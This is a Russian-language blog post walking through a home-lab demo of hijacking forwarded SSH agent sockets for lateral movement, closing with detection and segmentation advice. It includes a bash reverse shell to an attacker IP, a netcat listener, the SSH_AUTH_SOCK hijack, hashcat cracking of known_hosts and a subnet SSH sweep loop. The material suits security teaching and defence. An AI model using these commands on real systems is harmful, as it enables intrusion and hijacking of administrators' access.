Введение
Однажды я просматривал видео из закладок и решил запустить AASLR: Leveraging SSH Keys for Lateral Movement Хэла Померанца. Примерно на середине видео я захотел начать заново и открыл заметки, чтобы документировать полученную информацию, потому что это был очень интересный материал, которого я не видел раньше. Воспользовавшись этой информацией как фундаментом, я начал искать другие способы применения утилиты ssh-agent и решил создать демо в своей домашней лаборатории. В этом посте я расскажу о своих открытиях.
Что такое SSH Agent?
Для начала нам немного нужно разобраться с тем, что происходит с процессом ssh-agent. ssh-agent — это интересная утилита, используемая для повышения удобства работы с приватными ключами. Она схожа с технологией единого входа (single sign on), но для ключей SSH. SSH agent позволяет командой
ssh-add <private_key_file>
добавлять в агент, работающий на локальной машине, приватные ключи/идентификационные данные. Список этих ключей можно получить с помощью ssh-add -l
. Добавив ключ в утилиту ssh-agent
, можно подключиться по ssh
к серверу при помощи ключа, не вводя пароль повторно. Это полезно как для людей, так и аккаунтов сервисов. Любопытно, что можно также перенаправить агент ключей к машине, с которой выполняется подключение, что позволяет использовать приватные ключи с машины, к которой вы подключены. Вот пример:- Admin — это администратор сервера, отвечающий за обслуживание множества разных серверов Linux. Admin использует SSH для удалённого подключения ко множеству машин для выполнения своих администраторских задач.
- Admin использует утилиту
ssh-agent
для упрощения подключения к десяткам серверов с разными ключами (защищённых уникальными паролями). Это делается при помощи командыssh-add <privatekey>
. (Примечание: при добавлении к кольцу ключейssh-agent
необходимо правильно ввести пароль.)
- Теперь, если admin должен подключиться, например, к DNS-серверу (pihole), то вместо ввода
ssh -i /path/to/key/file root@pi.hole
и уникального пароля к файлу ключа он может просто ввестиssh root@pihole
и подключение будет установлено.
Само по себе с точки зрения безопасности это не так уж здорово, потому что если кто-то сможет скомпрометировать машину admin, то ему удастся подключаться по ssh без знания пароля к приватному ключу. Но я бы закрыл на это глаза. В конце концов, усложнение жизни администраторов — лучший способ заставить их полностью обходить меры безопасности. Настоящий риск возникает тогда, когда опция
ssh
используется вместе с опцией -A
. На самом деле, даже на man-странице ssh
есть подсказка, что это может привести к «возможности обхода файловых разрешений на удалённом хосте». Соблазнительно.Чтобы показать, почему это может быть очень плохо, предположим, что admin на самом деле подключается к серверу командой
ssh -A root@<server>
. Но зачем вообще это кому-то делать? Разве нельзя просто создать политику, запрещающую администраторам использовать перенаправление агентов? Существует несколько ситуаций, в которых это может быть полезно.- Jumphost: в корпоративных окружениях доступ к уязвимым серверам с личной машины — не очень хорошая политика безопасности. Вместо этого можно использовать инсталляционные серверы (jumphost). Эти особые серверы (в идеале) являются единственными серверами, способными подключаться к уязвимым машинам по ssh. Такую сегментацию можно реализовать через фаерволы. Например:
ssh root@super_important_dns_server
невозможно будет выполнить с вашей локальной машины, если только ваш трафик не проксируется через jumpserver. - Вы подключились к серверу разработки, которому требуется особый доступ к чему-то (например, к git-репозиторию), но вы не хотите хранить свой приватный ключ на сервере разработки.
Это пара очень простых ситуаций, но общий смысл понятен.
TLDR; перенаправление SSH Agent позволяет не сохранять приватные ключи в местах, над которыми у вас нет контроля.
Предположим, что вы администратор и вам нужно внести изменения в DNS-сервер, залогинившись в него через SSH. Вам бы хотелось сделать это, не сохраняя приватный ключ SSH на jumphost, потому что им пользуются и другие люди. Для этого можно использовать перенаправление агента через
ssh -A root@jumphost
. Так как у нашей локальной машины есть в ssh-agent приватный ключ для root@pi.hole
, можно просто выполнить ssh root@pi.hole
с jumphost и получить доступ к pi.hole
, не применяя никакие другие меры безопасности. Что же может пойти не так? Если нападающий стремится освоиться в нашей сети, то похищение ключей администратора очень ему в этом поможет. В этом посте мы предполагаем, что admin подключается к серверу, скомпрометированному нападающим, который получил полномочия рута при помощи ssh -A root@<compromised_server>
.Чтобы это стало чуть понятнее, давайте изучим полную цепь атаки в лабораторном окружении.
Демо
Для начала давайте поймём окружение, в котором находимся.
▍ Подробный обзор
Начнём по порядку: первым делом давайте обоснуемся на уязвимом сервере. В реальной ситуации вы сами (или ваша команда начального доступа) должны будете зайти на сервер Linux и скомпрометировать рут-аккаунт. В этом демо я буду выполнять атаку из
root@attacker-server
и создам reverse shell при помощи простого bash reverse shell bash -i >& /dev/tcp/192.168.1.184/1337 0>&1
и слушателя netcat netcat -nvlp 1337
. Это установит крайне рудиментарный доступ к скомпрометированному серверу vuln-server
.Получив доступ к машине, я воспользовался Python для создания полностью интерактивного TTY командой
python -c 'import pty; pty.spawn("/bin/bash")'
. Чаще всего это необязательно, но это упростит работу.Далее выполнение команды
ssh-add -l
на vuln-server
позволяет нам определить, есть ли загруженные идентификационные данные. Пока идентификационные данные не загружены, и это означает, что никто не вошёл на этот сервер как root сессией SSH при помощи ssh-agent. Вполне нормальная ситуация.А теперь начинается интересное. Если мы выполним
lsof -U | grep agent
, то получим результат, говорящий нам, что пользователь admin подключился к машине и использует SSH-Agent. Повторюсь, важно отметить, что мы можем видеть это только потому, что уже имеем root в системе (или полномочия другого привилегированного пользователя).Помня об этом, попробуем захватить сокет
SSH_AUTH_SOCK
. Это достаточно тривиальная задача. Для этого достаточно лишь задать переменную окружения рут-пользователя при помощи команды export
. Для этого просто возьмём путь /tmp/ssh-ZzrtT2ZwVr/agent.4145
, определённый в предыдущей команде lsof -U | grep agent
, и присвоим его переменной окружения SSH_AUTH_SOCK
, выполнив export SSH_AUTH_SOCK=/tmp/ssh-ZzrtT2ZwVr/agent4145
.Теперь, когда мы указали переменной окружения существующий SSH-сокет, мы, по сути, скомпрометировали сессию SSH для пользователя admin. Ещё раз выполнив команду
ssh-add -l
, мы увидим отпечаток ключей на ЛОКАЛЬНОЙ машине пользователя admin. Я выполнил ssh-add -l
на своей локальной машине (на которой я залогинен как admin) и можно увидеть, что отпечатки такие же, потому что я вошёл на скомпрометированную машину при помощи перенаправления агента.Так как теперь у нас есть доступ к ключам
ssh-agent
пользователя admin, можно использовать их для подключения к другим хостам, к которым ранее подключался администратор. К счастью (или к несчастью), это неполная компрометация приватного ключа, так как SSH-Agent не позволяет никаким образом экспортировать сам приватный ключ. Верификация сервера использует систему запроса/ответа для проверки аутентичности ключа. Если вам любопытно, то более подробно об этом можно прочитать здесь. Но это позволяет нам сделать что-то даже лучше, чем полная компрометация ключа, потому что позволяет обойти необходимость знания пароля приватных ключей и подключаться к компьютерам, к которым раньше подключался пользователь admin.Как же нам узнать, к чему получал доступ скомпрометированный аккаунт администратора? Это можно сделать несколькими способами. Во-первых, проверив файл
/home/admin/known_hosts
. В этом файле обычно содержатся IP-адреса ранее посещавшихся хостов. Однако взглянув на файл (в системе Ubuntu 20.04), можно заметить, что там нет никаких IP-адресов… Как же так?За это можно поблагодарить опцию
HashKnownHosts
файла /etc/ssh/ssh_config
. Если эта опция установлена, то хосты, к которым подключался admin, будут хэшированы.▍ Способ 1: взлом хэшей
Один из способов обхода этой опции
HashKnownHosts
заключается во взломе хэшей при помощи инструмента наподобие hashcat. К счастью, кто-то потратил своё время на создание отличного инструмента на Python для автоматического преобразования файла known_hosts
в формат, который может парсить hashcat. Воспользуемся инструментом с подходящим названием Known_Hosts-Hashcat. Мои благодарности его создателю chris408!Преобразовав файл known_hosts в более удобный для взлома формат (и сев за машину, на которой hashcat хорошо работает), мы можем взломать хэши следующей командой hashcat:
hashcat.bin -m 160 --hex-salt ../converted_known_hosts -a 3 ipv4_hcmask.txt --quiet
. Таким образом, мы можем увидеть, что admin подключался по SSH к IP-адресам 192.168.1.3
и 192.168.1.2
. Теперь мы можем попробовать аутентифицироваться на каждой из этих машин, чтобы понять, можно ли переместиться к ним горизонтально по сети.▍ Способ 2: проверка файла истории
Ещё один простой способ понять, к чему у нас может быть доступ — это проверка файла
/home/admin/.bash_history
. Так как мы под рутом на этой машине, просмотреть его удастся без проблем.У такого способа есть недостатки.
- Файл истории bash может быть по каким-то причинам очищен (но это маловероятно)
- Пользователь мог не выполнить выход на машине, поэтому запись в файл истории могла ещё не произойти.
- Может быть задано маленькое ограничение на размер истории bash, поэтому данные окажутся недоступными.
Способ 3: проверяем всё
Ещё один странный способ, который можно попробовать для составления списка машин, к которым у нас есть доступ: запуск скрипта bash, пытающегося войти по ssh в каждый домен в
192.168.1.0/24
и выполнить несколько команд. Если вы видите вывод для определённого IP-адреса, то значит, у нас есть доступ к этой машине. Я не рекомендую этого делать, но это возможно, если вы не пытаетесь скрыть свои действия. Не особо изящно, но свою задачу решает.for i in 192.168.1.{1..255}; do echo "Checking $i for access..." ; ssh -o BatchMode=yes root@$i "hostname; whoami; ip -c a | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'" 2>/dev/null; done
▍ Кража SSH-сессии
Если мы уже нашли свидетельства того, к чему подключался admin, то остаётся тривиальная задача маскировки под пользователя при помощи его идентификационных данных
ssh-agent
. Правильно задав переменную окружения SSH_AUTH_SOCK
, можно просто подключиться по ssh к обнаруженному серверу. Например: ssh root@pi.hole
. Даже если ключ ssh, обычно используемый для доступа к этому серверу, защищён паролем, то вы залогинитесь на удалённом сервере без запроса пароля приватного ключа. В своём случае мне удалось аутентифицироваться на DNS-сервере.Выявление
Как и в случае с большинством атак, оптимальнее всего выявлять подобные виды компрометации благодаря пониманию структуры сети и её сегментированию. Учитывая, что это не особо сложный эксплойт, если вы не знаете, что искать, то выявить его будет довольно трудно. Мои рекомендации:
- Сегментируйте свою сеть. В этом примере всё находилось в однородной сети, поэтому изучить её было очень просто.
- Обеспечьте понимание структуры и поведения своей сети. В реальной ситуации должно быть очень подозрительно, что ваш веб-сервер в DMZ подключается по SSH ко всему.
Использование такой конфигурации SSH злоумышленниками может быть очень простым процессом. Внедрив правила фаерволов для усиления сегментации сети, вы сможете ослабить последствия атаки. Например, можно при помощи iptables отбрасывать все пакеты от хоста
vuln-server
к DNS
-серверу. iptables -I INPUT -s 192.168.1.183 -j DROP
. Пример достаточно искусственный, но надо понимать, что чёткий контроль доступа следует настраивать в каждой сети.Подведём итог
Итак, уязвимость ли это? Не совсем. Как и многие вещи в мире безопасности, эта «атака» на самом деле является зловредным применением обычной функциональности. Задача этого поста — объяснить вам, что теоретически может произойти в подходящих обстоятельствах.
Ссылки
https://www.youtube.com/watch?v=Gr3ULSoRg9U&t
https://www.ssh.com/academy/ssh/agent
https://smallstep.com/blog/ssh-agent-explained/
https://www.linode.com/docs/guides/using-ssh-agent/
https://en.wikipedia.org/wiki/Ssh-agent
Telegram-канал с розыгрышами призов, новостями IT и постами о ретроиграх ?️